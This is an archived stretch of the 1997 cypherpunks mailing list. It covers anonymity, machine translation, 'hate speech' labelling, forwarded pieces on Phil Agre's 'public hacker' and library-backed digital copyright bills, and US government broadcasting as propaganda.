From nobody at REPLAY.COM  Fri Dec 19 22:33:33 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 20 Dec 1997 14:33:33 +0800
Subject: No Subject
Message-ID: <199712200629.HAA14688@basement.replay.com>




> Much as I agree in principle with counteracting mindless
> prejudice such as that directed against Jews, and despite
> the fact that I grew up among Jews and studied with my
> best friend in grade school when he took his religious
> lessons, the ADL has zero credibility with me for a very
> good reason: 

This reason has zero credibility. If you want to add
something to the public record, then use your real name,
you ninny! Nobody will pay attention to (much less
belive) an anonymous message - no credibility!

(
Why do you think the Nym list was formed? So they
wouldn't have to put up with anonymous traffic, 
that's why. A new one-of-a-kind web site has been
put up that lets you see if you are one of the elite
sheeple who are TIME- and LIFE-approved for partaking
in public discourse:
http://cgi.pathfinder.com/netly/spoofcentral/muted/
)







From shamrock at cypherpunks.to  Sat Dec 20 01:06:17 1997
From: shamrock at cypherpunks.to (Lucky Green)
Date: Sat, 20 Dec 1997 17:06:17 +0800
Subject: Automatic Translations
In-Reply-To: 
Message-ID: 



On Fri, 19 Dec 1997, Tim May wrote:

> 
> 
> I just discovered an
> amazing, wonderful service which translates text into and from various
> European languages. Samples included here, of this text.

I am pretty impressed by the quality of the translations. Sure, multi-step
translations tend to fall apart quickly, but the first translations
are all rather well done for a machine that lacks comprehension of the
concepts trying to be conveyed.

-- Lucky Green  PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"






From ichudov at Algebra.COM  Sat Dec 20 06:57:11 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 20 Dec 1997 22:57:11 +0800
Subject: Hate speech == HATED speech
In-Reply-To: <199712200441.FAA22257@inet.uni2.dk>
Message-ID: <199712201448.IAA16357@manifold.algebra.com>



Peter Herngaard wrote:
> >Incidentally, I heard that last year there were a series of raids on
> >bookstores for "hate" literature.  One of the books seized was Art
> >Spiegelman's "Maus".  The justification was that it glorified
> >violence.  (Feel free to correct me if this is baseless rumor. ;-)
> 
> No. It is entirely correct as far I know.
> As I have pointed out before, the present state of freedom of
> expression in Germany is lower than in Denmark. 

I would like to point out that much of the so called "hate" speech
should in fact be labeled "hated" speech. Let's take an example:
consider a history work thet denies holocaust of Jews in WWII.

Many of such manuscripts are rather dry and historical, and certainly
do not advocate killing anybody, and do not advocate any kind of "hate"
(although their authors probably do hate Jews on a personal level).
So why are they called "hate" speech? 

Because a lot of readers hate this kind of speech. Thus, it should
be renamed into "hated" speech.

	- Igor.






From rah at shipwright.com  Sat Dec 20 08:23:44 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 21 Dec 1997 00:23:44 +0800
Subject: getting beyond cyberspace
Message-ID: 



More proof that old Hegelians never die, they just synthesize themselves
into nonsense. Or, if you give a Hegelian enough time with no data, he'll
synthesize himself a rope and hang himself with. Or something.

Then there's the old logic joke: "There are two kinds of people, those who
use dichotomies and those who don't." :-).

Cheers,
Bob Hettinga

--- begin forwarded text


Resent-Date: Fri, 19 Dec 1997 20:59:45 -0800 (PST)
X-Authentication-Warning: weber.ucsd.edu: procmail set sender to
rre-request at weber.ucsd.edu using -f
X-Authentication-Warning: weber.ucsd.edu: Processed from queue
/usr/spool/mqueue/rqueue
Date: Fri, 19 Dec 1997 20:50:51 -0800 (PST)
From: Phil Agre 
To: rre at weber.ucsd.edu
Subject: getting beyond cyberspace
Resent-From: rre at weber.ucsd.edu
Reply-To: rre-maintainers at weber.ucsd.edu
X-URL: http://communication.ucsd.edu/pagre/rre.html
X-Mailing-List:  archive/latest/1780
X-Loop: rre at weber.ucsd.edu
Precedence: list
Resent-Sender: rre-request at weber.ucsd.edu

[When important new technologies come along, they create an imaginative
vacuum, and that vacuum is often filled with millenarian ideologies such
as the one about cyberspace.  Once the millennialists start promising world
peace, however, we can be sure that their day has passed, and that it is
time for a new ideology that is grounded in concrete attempts to integrate
the emerging technology with the real institutional world.  The enclosed
column about the reality check that can be glimpsed beyond the ideology
of cyberspace appeared in the November/December 1997 issue of Technology
Review.  The TR people picked the title.  The column was invited as an
"audition" for a regular columnist's position in the radically overhauled
version of Technology Review that is due in the spring.  I didn't pass
the audition.  Which is how it goes, of course, although I and many others
are waiting with some concern to see whether the new magazine retains the
integrity of the classic version.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help at weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


  The Next Internet Hero

  Phil Agre
  http://communication.ucsd.edu/pagre/

  Copyright 1997 by MIT's Technology Review.  You may forward this
  article to anyone for any noncommercial purpose, provided that
  you forward it in its entirety, including this copyright notice.


Every new technology is accompanied by a grand narrative.  The
Internet's grand narratives have focused on heroes: people who are
leading the transition to a more information-intensive society.  The
Internet has produced two generations of hero figures.  Now it's time
for a third.

The first hero was the good hacker.  The Internet originated in a
special setting -- the community funded by the Advanced Research
Projects Agency (ARPA).  These earliest hackers were establishment
revolutionaries.  Their guiding narrative was that information
technology and human beings are symbiotic elements of a larger system.
They owned the biggest computers and they defined the technologies
that became the Internet.

The next hero was the rebel hacker.  The second generation viewed
hacking as something that happens outside of established institutions.
Electronic mail, for example, symbolized and sometimes aided
resistance to hierarchy.  Rebel hackers include the "cypherpunks", who
resist authority by propagating robust encryption software.  But rebel
hackers can be found in practically any organization; they were the
folks who spent their evenings and weekends creating the first million
or so Web pages during the early-to-mid 1990s.  More social movement
than business practice, these Web projects were rarely integrated into
organizational procedures or strategies.

The rebel hacker is guided by the notion of cyberspace, a digital
ether that transcends the obsolete constraints of the physical
world.  This is a religious idea, and it inherits a long millenarian
tradition.  It promises to level hierarchies, erase borders, confound
the powers of the earth, and institute a perpetual utopia of peace
and plenty for all.  A belief in cyberspace is the twentieth century's
last revolutionary ideology.

The grand narrative of cyberspace, however, no longer tells us what we
need to know.  The rebel hackers derived their revolutionary edge from
the continuing rapid growth in microprocessor power, telecommunications
bandwidth, and data storage capacity.  Dramatic improvements in
information technology, they said, would surely turn society inside
out.  But this argument is misleading.  We can indeed be confident
that the basic building blocks of computers and networks will continue
to improve.  But we cannot predict what will be built from them -- the
architecture of the many-layered information infrastructure that is
rapidly emerging around the world.

The questions are endless: Will online commerce systems support
anonymous payment, or will they keep complete records of our
transactions?  Will our communications systems let users screen
out unwanted messages, or will we drown in mass mailings?  Will
educational systems support new kinds of learning, or merely introduce
new forms of rote drill?  Will the Internet continue to embody the
scientific community's values of open information, or will it converge
with the business models of broadcast media?  The answers to these
questions are not dictated by the basic workings of the machinery.
They are matters not for prediction but for choice.  The Internet
is becoming integrated with institutions, influencing them and
being influenced in turn.  Society needs institutions, after all,
and information technology provides us with a tremendous opportunity
to redesign our institutions in ways that express the values of a
democratic society.  This is not a job for the rebel hacker, who is
sworn simply to resist the bad institutions of yore.

That's why we need a new kind of Internet hero: the public hacker.
Whereas the good hacker and the rebel hacker changed the world by
changing technology, the public hacker builds bridges between the
esoteric world of technical work and the bigger, messier world in
which values are argued and chosen.  The public hacker is bilingual,
translating between technical issues and legal issues, between
the dynamics of systems and the dynamics of communities, between
technological visions and social visions.

The public hacker still invents technologies when they're necessary,
propagates them when they're useful, and defends them when they
deserve it.  But this new hero's imagination is not entirely driven
by the machinery.  Some examples: Mitchell Kapor, co-founder of
the Electronic Frontier Foundation, helped catalyze a remarkably
broad-based public discussion of the social values at stake as
we create the information infrastructure.  Peter Neumann edits an
Internet forum, the Risks Digest, that has sensitized innumerable
computer people to the things that go wrong with computer systems in
real institutional settings.  And Pamela Samuelson brings technical
and legal analysis together in the public sphere, helping policymakers
tackle the intellectual property issues that arise in digital media.

If these people don't seem like traditional heroes, perhaps we need
a new conception of heroism.  Revolutionary heroes changed the world
in a unilateral way.  Now we need heroes who can help us imagine our
options.

end

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From rah at shipwright.com  Sat Dec 20 08:26:29 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 21 Dec 1997 00:26:29 +0800
Subject: copyright legislation
Message-ID: 




--- begin forwarded text


Resent-Date: Fri, 19 Dec 1997 20:59:27 -0800 (PST)
X-Authentication-Warning: weber.ucsd.edu: procmail set sender to
rre-request at weber.ucsd.edu using -f
X-Authentication-Warning: weber.ucsd.edu: Processed from queue
/usr/spool/mqueue/rqueue
Date: Fri, 19 Dec 1997 20:54:17 -0800 (PST)
From: Phil Agre 
To: rre at weber.ucsd.edu
Subject: copyright legislation
Resent-From: rre at weber.ucsd.edu
Reply-To: rre-maintainers at weber.ucsd.edu
X-URL: http://communication.ucsd.edu/pagre/rre.html
X-Mailing-List:  archive/latest/1781
X-Loop: rre at weber.ucsd.edu
Precedence: list
Resent-Sender: rre-request at weber.ucsd.edu


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help at weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

From: ALAWASH E-MAIL (ALAWASH E-MAIL) 
Subject: ALAWON v6, n117 - ACTION ALERT: COPYRIGHT LEGISLATION (1 of 3)
Reply-To: pub-adv at s1.net

=================================================================
ALAWON                                       Volume 6, Number 117
ISSN 1069-7799                                  December 18, 1997

     American Library Association Washington Office Newsline

In this issue: (200 lines)

- - -ACTION ALERT: PRESIDENTS OF MAJOR LIBRARY ASSOCIATIONS ISSUE
JOINT APPEAL FOR IMMEDIATE CONGRESSIONAL CONTACTS IN SUPPORT OF
PENDING DIGITAL COPYRIGHT LEGISLATION

- - -AN OPEN LETTER TO THE LIBRARY COMMUNITY . . .
_________________________________________________________________

NOTE: This message, and important supporting material, has
been transmitted in 3 parts. This ALAWON is part 1 of 3.

  ACTION ALERT: PRESIDENTS OF MAJOR LIBRARY ASSOCIATIONS ISSUE
JOINT APPEAL FOR IMMEDIATE CONGRESSIONAL CONTACTS IN SUPPORT OF
             PENDING DIGITAL COPYRIGHT LEGISLATION

As detailed in the unusual letter that immediately follows
this alert, ALA President Barbara Ford and her counterparts
at three of the nations other major library associations
have jointly called upon librarians to act **immediately**
in support of two pieces of landmark copyright legislation
now pending before Congress.  Specifically, the presidents
of AALL, ALA, ARL and SLA are jointly urging each of their
75,000 combined members to encourage both of their Senators
to cosponsor Sen. John Ashcroft's (R-MO) "Digital Copyright
Clarification and Technology Act" (S. 1146) and their House
Representative to cosponsor the "Digital Era Copyright
Enhancement Act," introduced by Reps. Rick Boucher (D-VA)
and Tom Campbell (R-CA) (H.R. 3048).

ALAWON readers will recall substantial activity in
Washington (and last winter in Geneva, Switzerland) directed
toward updating the nation's copyright laws for the digital
age.  The introduction of the separate Senate and House
bills cited above constitutes tremendous legislative
progress toward ALA's goal of preserving the current balance
in copyright law between protecting information and
affording access to it.  This progress is attributable in
large measure to the work of the Digital Future Coalition
(DFC), which ALA helped to found and in which it takes an
active role.  (DFC summaries of both S. 1146 and H.R. 3048
are included in the third part of this transmission.)

Both Sen. Ashcroft's bill (S. 1146) and the Boucher/Campbell
proposal (H.R. 3048) would affirmatively modify current law
to make clear that Fair Use fully applies in the networked
environment and that preservationists may use the latest
technologies and methods.  In addition, Rep. Boucher's bill
would extend the First Sale Doctrine -- the basis of all
library lending -- to the electronic environment.  All three
bill sponsors also have demonstrated their commitment to
assuring that no library or librarian should be legally
liable for any copyright infringement committed by a library
user acting independently.

The presidents make clear in their letter that they view S.
1146 and H.R. 3048, taken together, as the best approach to
updating the Copyright Act to meet the challenges of the
digital environment while, at the same time, preserving the
critical balance between copyright owners and users in the
electronic age.

ACTION ALERT:
Your help is needed in the next several weeks in assisting
Sen. Ashcroft and Reps. Boucher and Campbell to persuade
other members of the Senate and House to cosponsor S. 1146
and H.R. 3048, respectively.  All ALA members -- and library
supporters or all kinds -- are urgently requested to:

- - -- study the attached fact sheets detailing the intent and
provisions of S. 1146 and H.R. 3048;

- - -- write to your House and Senate delegations requesting
co-sponsorship of these bills (separate sample letters for
the Senate and House are included in part 2 of this
message); and

- - -- call and visit the members of your Congressional
delegation before January 25, 1998 and ask them specifically
to "cosponsor" S. 1146 or H.R. 3048, as appropriate.

Let Congress know that you care about updating copyright law
for all Americans.  Libraries' effectiveness and vitality in
the 21st century depends on them...and on you.  For
information about contacting your Senators and
Representatives and further background on this critical
legislation, please consult the ALA Washington Office
website at http://www.ala.org/washoff or the Digital Future
Coalition's home page at http://www.dfc.org.  Inquiries also
may be directed to Adam Eisgrau, legislative counsel for the
ALA Washington Office, at 800/941-8478.
________________________________________________________________

         AN OPEN LETTER TO THE LIBRARY COMMUNITY . . .

December 5, 1997

Dear Library Supporter:

As the presidents of four of the nation's major library
associations, we write to ask for your assistance in garnering
support for two pieces of federal legislation of critical
importance to the library community, indeed to libraries in every
community.  These bills are Sen. John Ashcroft's (R-MO) "Digital
Copyright Clarification and Technology Act" (S. 1146) and the
"Digital Era Copyright Enhancement Act," jointly introduced by
Representatives Rick Boucher (D-VA) and Tom Campbell (R-CA) (H.R.
3048).

In our view, these proposals present the best approach to
updating the Copyright Act to meet the challenges of the digital
environment while, at the same time, preserving the critical
balance between copyright owners and users in the electronic age.
Both bills include provisions which are essential to libraries if
we are to effectively serve our patrons, scholars, researchers,
and students in the networked environment.  We seek your
immediate help in assisting Sen. Ashcroft and Reps. Boucher and
Campbell to persuade other members of the Senate and House to
cosponsor S. 1146 and H.R. 3048, respectively.

WHY THIS EFFORT IS IMPORTANT TO ALL LIBRARIES
Each year, millions of researchers, students, and members of the
public benefit from access to library collections -- access that
is supported by fair use, preservation programs, interlibrary
loan, and more. We must ensure that the Copyright Act continues
to serve the public who rely upon these collections and services.
The Ashcroft and Boucher-Campbell bills seek to update the
Copyright Act by extending the balance that we currently enjoy so
that owners, creators, and users alike may benefit fully from the
opportunities of the digital environment.  These bills
appropriately extend the balance by clarifying or updating
selected privileges granted to libraries, researchers,
educational institutions and others under current law.

ACTION IS NEEDED NOW!
Accordingly, we are asking the members of our Associations -- and
all other library supporters -- to:

     -study the attached fact sheets and sample letter detailing
     the intent and provisions of S. 1146 and H.R. 3048;

     -write to your House and Senate delegations requesting
     co-sponsorship of these bills; and

     -call and visit the members of your Congressional delegation
     and ask them to cosponsor S. 1146 or H.R. 3048, as
     appropriate.

Senator Ashcroft, and Representatives Boucher and Campbell, would
appreciate our help in achieving passage of this potentially
landmark legislation.  The most critical first step in this
process is to engage members of Congress and seek their
endorsement of these bills.  Let Congress know now the importance
of updating the Copyright Act for your institution, your users,
and of ensuring that libraries will be able to effectively serve
the nation in the information age.

Thank you.  Our associations stand ready to assist you in any way
that we can.  Please do not hesitate to call upon us and to let
us know of your efforts.

Sincerely,

Judith A. Meadows, President
American Association of Law Libraries

Barbara J. Ford, President
American Library Association

James G. Neal, President
Association of Research Libraries

Judith J. Field, President
Special Libraries Association
_________________________________________________________________

ALAWON is a free, irregular publication of the American Library
Association Washington Office.  To subscribe, send the message:
subscribe ala-wo [your_firstname] [your_lastname] to listproc
@ala.org.  To unsubscribe, send the message: unsubscribe ala-wo
to listproc at ala.org. ALAWON archives at http://www.ala.org/
washoff/alawon. Visit our Web site at http://www.alawash.org.

ALA Washington Office                            202.628.8410 (V)
1301 Pennsylvania Ave., NW, #403                 202.628.8419 (F)
Washington, DC 20004-1701                        800.941.8478 (V)

Lynne E. Bradley, Editor                        
Deirdre Herman, Managing Editor  

Contributors:                                        Adam Eisgrau
All materials subject to copyright by the American Library
Association may be reprinted or redistributed for noncommercial
purposes with appropriate credits.
=================================================================

To: pub-adv at s1.net
From: ALAWASH E-MAIL (ALAWASH E-MAIL) 
Reply-To: pub-adv at s1.net

=================================================================
ALAWON                                       Volume 6, Number 118
ISSN 1069-7799                                  December 18, 1997

     American Library Association Washington Office Newsline

In this issue: (106 lines)

SAMPLE LETTERS FOR MEMBERS OF THE HOUSE OF REPRESENTATIVES AND
THE SENATE RE: REQUEST FOR COSPONSORSHIP OF CRITICAL COPYRIGHT
LEGISLATION
_________________________________________________________________

NOTE: This message, and important supporting material, has been
transmitted in 3 parts.  This ALAWON is part 2 of 3.

NOTE: To contact your Senators or Representatives, one source is
a Library of Congress compilation at
http://lcweb.loc.gov/global/legislative/email.html.

   SAMPLE LETTER FOR MEMBERS OF THE HOUSE OF REPRESENTATIVES

Hon. (Name of Representative)
United States House of Representatives
Room #, (Cannon, Longworth, or Rayburn) House Office Building
Washington, D.C. 20515

Re:   Request for Cosponsorship of Critical Copyright Legislation

Dear Representative (Last Name):

I recently learned that bipartisan legislation has been
introduced in the House by Reps. Rick Boucher of Virginia and Tom
Campbell of California which would broadly update United States
copyright law for the future in a way that will both protect the
owners of information and continue to allow librarians and
educators access to information under reasonable circumstances.
I am writing to you today to ask that you lend your name to that
legislation, the  Digital Era Copyright Enhancement Act,  which
has been assigned number H.R. 3048.

As a [librarian/school librarian/library user/library
trustee/friend of libraries], I feel strongly that any changes
made to the Copyright Act must be balanced in a way that allows
the benefits of the Internet to reach all sectors of society,
especially library users and students.  The Boucher/Campbell bill
will accomplish this very important goal in several important
ways.  When Congress reconvenes in January, please add your name
to H.R. 3048 as a cosponsor.

Thank you for your assistance in this important debate.

Sincerely,


_________________________________________________________________

            SAMPLE LETTER FOR MEMBERS OF THE SENATE

Hon. (Full Name)
United States Senate
Room #, (Dirkson, Hart, or Russell)Senate Office Building
Washington, D.C. 20510

Re:   Request for Cosponsorship of Critical Copyright Legislation

Dear Senator (Last Name):

I recently learned that legislation has been introduced by
Senator John Ashcroft of Missouri which would broadly update
United States copyright law for cyberspace in a way that will
both protect the owners of information and continue to allow
librarians and educators access to information under reasonable
circumstances.   I am writing to you today to ask that you lend
your name to that legislation, the  Digital Copyright
Clarification and Technology Education Act,  which has been
assigned number S. 1146.

As a [librarian/school librarian/library user/library
trustee/friend of libraries], I feel strongly that any changes
made to the Copyright Act must be balanced in a way that allows
the benefits of the Internet to reach all sectors of society,
especially library users and school children.  The Ashcroft bill
will accomplish this very important goal in several important
ways.  When Congress reconvenes in January, please add your name
to S. 1146 as a cosponsor.

Thank you for your assistance in this important debate.

Sincerely,

_________________________________________________________________

ALAWON is a free, irregular publication of the American Library
Association Washington Office.  To subscribe, send the message:
subscribe ala-wo [your_firstname] [your_lastname] to listproc
@ala.org.  To unsubscribe, send the message: unsubscribe ala-wo
to listproc at ala.org. ALAWON archives at http://www.ala.org/
washoff/alawon. Visit our Web site at http://www.alawash.org.

ALA Washington Office                            202.628.8410 (V)
1301 Pennsylvania Ave., NW, #403                 202.628.8419 (F)
Washington, DC 20004-1701                        800.941.8478 (V)

Lynne E. Bradley, Editor                        
Deirdre Herman, Managing Editor  

Contributors:                                        Adam Eisgrau
All materials subject to copyright by the American Library
Association may be reprinted or redistributed for noncommercial
purposes with appropriate credits.
=================================================================

To: pub-adv at s1.net
From: ALAWASH E-MAIL (ALAWASH E-MAIL) 
Subject: ALAWON v6, n119 - ACTION ALERT: COPYRIGHT LEGISLATION (3 of 3)
Reply-To: pub-adv at s1.net

=================================================================
ALAWON                                       Volume 6, Number 119
ISSN 1069-7799                                  December 18, 1997

     American Library Association Washington Office Newsline

In this issue: (213 lines)

- - -THE BOUCHER-CAMPBELL BILL (H.R. 3048)
WHAT DOES IT DO? WHY DOES DFC SUPPORT IT?

- - -THE ASHCROFT BILL (S. 1146)
WHAT DOES IT DO? WHY DOES DFC SUPPORT IT?
_________________________________________________________________

NOTE: This message, and important supporting material, has
been transmitted in 3 parts. This ALAWON is part 3 of 3.

NOTE: The Digital Future Coalition (DFC) is a coalition of
library, education, public interest and industry organizations
committed to balanced copyright policy.  ALA helped to found the
coalition and takes an active role in its work.

             THE BOUCHER-CAMPBELL BILL (H.R. 3048)
           WHAT DOES IT DO? WHY DOES DFC SUPPORT IT?

Representatives Rick Boucher (D-VA) and Tom Campbell (R-CA) have
introduced the only comprehensive bill in the U.S. House of
Representatives that will maintain balance in the Copyright Act
by preserving for consumers, educators, librarians, researchers,
and other Netizens fundamental rights in the digital era. Like a
similar bill introduced by Senator John Ashcroft (S. 1146), this
comprehensive, balanced bill has the strong support of the DFC.
If you agree with us that the House of Representatives should
adopt the Boucher-Campbell bill instead of the legislation
proposed by the Clinton Administration (H.R. 2281), we encourage
you to send an e-mail to your elected Representative in the
House.

SECTION 1--TITLE. The bill is known as the "Digital Era Copyright
Enhancement Act."

FAIR USE. Section 2 would amend section 107 of the Copyright Act
to reaffirm that a finding of "fair use" may be made without
regard to the means by which a work has been performed,
displayed, or distributed. Thus, just as teachers, librarians,
and others may make "fair use" copies of portions of copyrighted
works today in the analog world, they may do so tomorrow in the
digital world.

LIBRARY PRESERVATION. Section 3 would amend section 108 of the
Copyright Act to allow libraries and archives to use new forms
of technology to make three copies of endangered materials for
archival purposes.

FIRST SALE. Section 4 would amend section 109 of the Copyright
Act to establish the digital equivalent of the "first sale"
doctrine. Under current law, a person who has legally obtained a
book or video cassette may physically transfer it to another
person without permission of the copyright owner. Section 4 would
permit electronic transmission of a lawfully acquired digital
copy of a work as long as the person making the transfer
eliminates erases or that copy of the work from his or her system
at substantially the same time as he or she makes the transfer.

DISTANCE LEARNING. Section 5 would amend sections 110(2) and
112(b) of the Copyright Act to ensure that educators can use
personal computers and new technology in a broad range of
educational settings in the same way they now use televisions to
foster distance learning. In addition, Section 5 would broaden
the range of works that may be performed, displayed, or
distributed to include the various kinds of works that might be
included in a multimedia lesson.

EPHEMERAL COPIES. Section 6 would amend section 117 of the
Copyright Act to make explicit that electronic copies of material
incidentally or temporarily made in the process of using a
computer or a computer network may not serve as the sole basis
for copyright infringement liability, such as when a work is
viewed on the World Wide Web.

UNFAIR LICENSES. Section 7 would effectively preclude copyright
owners from using non-negotiable license terms to abrogate or
narrow rights and use privileges that consumers otherwise would
enjoy under the Copyright Act, such as their fair use privilege,
by preempting state common and statutory law, such as the
proposed changes to the Uniform Commercial Code.

BLACK BOXES. Section 8 would implement the anti-circumvention and
copyright management information provisions of the WIPO Copyright
Treaty and the WIPO Performances and Phonograms Treaty. The
treaties do not require the broad prohibition of software and
devices that might be used by infringers as proposed in the
legislation drafted by the Clinton Administration. Consistent
with the treaties, section 8 would create liability only for a
person who, for purposes of infringement, knowingly circumvents
the operation of an effective technological measure used by a
copyright owner to limit reproduction of a work in a digital
format. The bill also would create liability for a person who
knowingly provides false copyright management information or
removes or alters copyright management information without the
authority of the copyright owner, and with the intent to mislead
or induce or facilitate infringement.
_________________________________________________________________

                  THE ASHCROFT BILL (S. 1146)
           WHAT DOES IT DO? WHY DOES DFC SUPPORT IT?

Senator John Ashcroft (Missouri) has introduced the only
comprehensive bill that will maintain balance in the Copyright
Act by preserving for consumers, educators, librarians,
researchers, and other Netizens fundamental rights in the digital
era. The bill contains three separate titles. They are summarized
below. If you agree with us that Congress should enact this law
instead of separate legislation proposed by the Clinton
Administration, we encourage you to send an e-mail to Senators on
the Judiciary Committee.

TITLE I. OSP/ISP LIABILITY

To foster the continued growth of the Internet, this portion of
the bill would--

     -clarify that merely providing network services and
     facilities for transmitting an electronic communication will
     not result in liability under the Copyright Act;

     -confirm that providing a site-linking aid, a navigational
     aid (including a search engine or browser), or the tools for
     creating a site-linking aid will not result in liability
     under the Copyright Act;

     -clarify that Internet and on-line service providers will
     not be liable for third-party copyright infringement unless
     they have received notice and have a reasonable opportunity
     to limit the third-party infringement; and

     -confirm that an employee of an educational institution,
     library, or archives will not be deemed to have received
     notice and thus will not be required to "take down" an
     allegedly infringing work if she believed the use was a fair
     use or otherwise lawful.

TITLE II. TECHNOLOGY FOR TEACHERS AND LIBRARIANS

Section 202 would amend section 107 of the Copyright Act to
reaffirm that a finding of "fair use" may be made without regard
to the means by which a work has been performed, displayed, or
distributed. Thus, just as teachers, librarians, and others may
make "fair use" copies of portions of copyrighted works today in
the analog world, they may do so tomorrow in the digital world.

Section 203 would amend section 108 of the Copyright Act to allow
libraries to use new forms of technology to make three copies of
endangered materials for archival purposes.

Section 204 would amend section 110(2) and 112(b) of the
Copyright Act to ensure that educators can use personal computers
to foster "distance learning" in a broad range of educational
settings in the same way they use televisions in traditional
classrooms today.

Section 205 would amend section 117 of the Copyright Act to make
explicit that electronic copies of material incidentally or
temporarily made in the process of using a computer or a computer
network may not serve as the sole basis for copyright
infringement liability, such as when a work is viewed on the
World Wide Web.

TITLE III. WIPO IMPLEMENTATION

Sections 1201 and 1202 would implement provisions of two
international copyright treaties adopted by the World
Intellectual Property Organization. The WIPO treaties oblige
signatory nations to offer legal protection against circumvention
of technology intended to protect copyrighted material against
infringement, but do not require the broad prohibition of
software or devices that might be used by infringers.

Section 1201 would only create liability for a person who--for
purposes of infringing a copyrighted work--knowingly circumvents
the application of an effective anti-copying measure used to
protect a work in a digital format. In contrast, the legislation
proposed by the Clinton Administration at the urging of Hollywood
and other content owners could outlaw new PCS and digital VCRs,
and frustrate the fair use rights of information consumers.

Section 1202 would create liability for a person who knowingly
provides false copyright management information or who removes or
alters copyright management information without the authority of
the copyright owner.

_________________________________________________________________

ALAWON is a free, irregular publication of the American Library
Association Washington Office.  To subscribe, send the message:
subscribe ala-wo [your_firstname] [your_lastname] to listproc
@ala.org.  To unsubscribe, send the message: unsubscribe ala-wo
to listproc at ala.org. ALAWON archives at http://www.ala.org/
washoff/alawon. Visit our Web site at http://www.alawash.org.

ALA Washington Office                            202.628.8410 (V)
1301 Pennsylvania Ave., NW, #403                 202.628.8419 (F)
Washington, DC 20004-1701                        800.941.8478 (V)

Lynne E. Bradley, Editor                        
Deirdre Herman, Managing Editor  

Contributors:                                        Adam Eisgrau
All materials subject to copyright by the American Library
Association may be reprinted or redistributed for noncommercial
purposes with appropriate credits.
=================================================================

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From hallam at ai.mit.edu  Sat Dec 20 09:27:43 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Sun, 21 Dec 1997 01:27:43 +0800
Subject: White House admits censoring Chinese dissident
Message-ID: <01bd0d66$a6bbe940$06060606@russell>




>    The Clinton administration was in the middle of a firestorm yesterday
>after officials admitted blocking a global broadcast of a Wei Jingsheng
>interview for fear of annoying China.


>    Officials tried in vain to stop the government radio station, Voice of
>America (VOA), from broadcasting the interview, but succeeded in blocking
>it from Worldnet.

Both are propaganda arms of the US government. For better
or worse the idea is to allow the US President to promote his
political agenda across the world. If the US president decides
not to allow a person access to his propaganda machine thats
not censorship, its an editorial decision.

There is a great new history of both agencies called 'Warriors
of disinformation' written by Wick's second in command.

I am not opposed in principle to governments having a propaganda
agency but VoA and Worldnet should be shut down completely.
Unlike the BBC they have entirely failed to gain credibility, the
propaganda they broadcast is as obvious and transparent as 
radio Moscow, and about as interesting.

To appreciate the subtlty of World service propaganda you have
to listen very hard. For example during a refuge crisis there is
a long piece about the ex-pat Kurd communities in Australia and 
Toronto. The propaganda objective being to make refugees make
those places their destinations of choice.

CNN has made VoA entirely obsolete. The best thing the US 
could do would be to give them the VoA shortwave transmitters 
and retire.

The only place where Worldnet has had a measurable impact is 
in the West generally and the US in particular. Worldnet spin 
allowed the Russian shooting down of KAL 007 over Russian 
Airspace to be presented as an act of unconsionable perfidy
while the Vincent's shooting down of an Iranian civilian airplane
in international airspace was presented as 'an unfortunate 
accident'.

The piece de resistance of US propaganda efforts is TV
Marti which costs the US millions of dollars each year to 
broadcast from a blimp moored in Florida. It costs Castro
a few thousand dollars to jam it using cheap transmitters.
Television is much easier to jam than radio, both because
of the frequencies used and the need for a clear timing
signal.

Ironically the Cubans have said that they are quite happy 
to have US TV, they just can't resist an opportunity for a
cheap propaganda victory of their own. The idea that Cubans
can keep the Imperialist Americans at bay by being smarter
is the big idea keeping Castro in power. ABC, NBC and 
CNN signals are quite wellcome.

There is good reason to believe them since in Dresden the
East German authorities errected a relay station to broadcast
west german TV. They were finding it difficult to persuade 
people to work in Dresden which is out of range of the West
German TV signal. 

The best propaganda a democratic government can create
is that outside its control. Political change in South Africa 
came partly as a result of US TV shows which showed Blacks
in positions of authority. The Web will effect political change
through person to person interactions, on USEnet, IRC and
mailing lists. 


I don't think it is a good idea for a democratic government to
spend money propagandising to its own people. I don't think
that the US has the subtlety to propagandise effectively to 
others. Ergo it should get out of the propaganda business 
entirely.

                Phill







From stutz at dsl.org  Sat Dec 20 09:42:09 1997
From: stutz at dsl.org (Michael Stutz)
Date: Sun, 21 Dec 1997 01:42:09 +0800
Subject: Automatic Translations
In-Reply-To: 
Message-ID: 



On Fri, 19 Dec 1997, Tim May wrote:

> I just discovered an amazing, wonderful service which translates text into
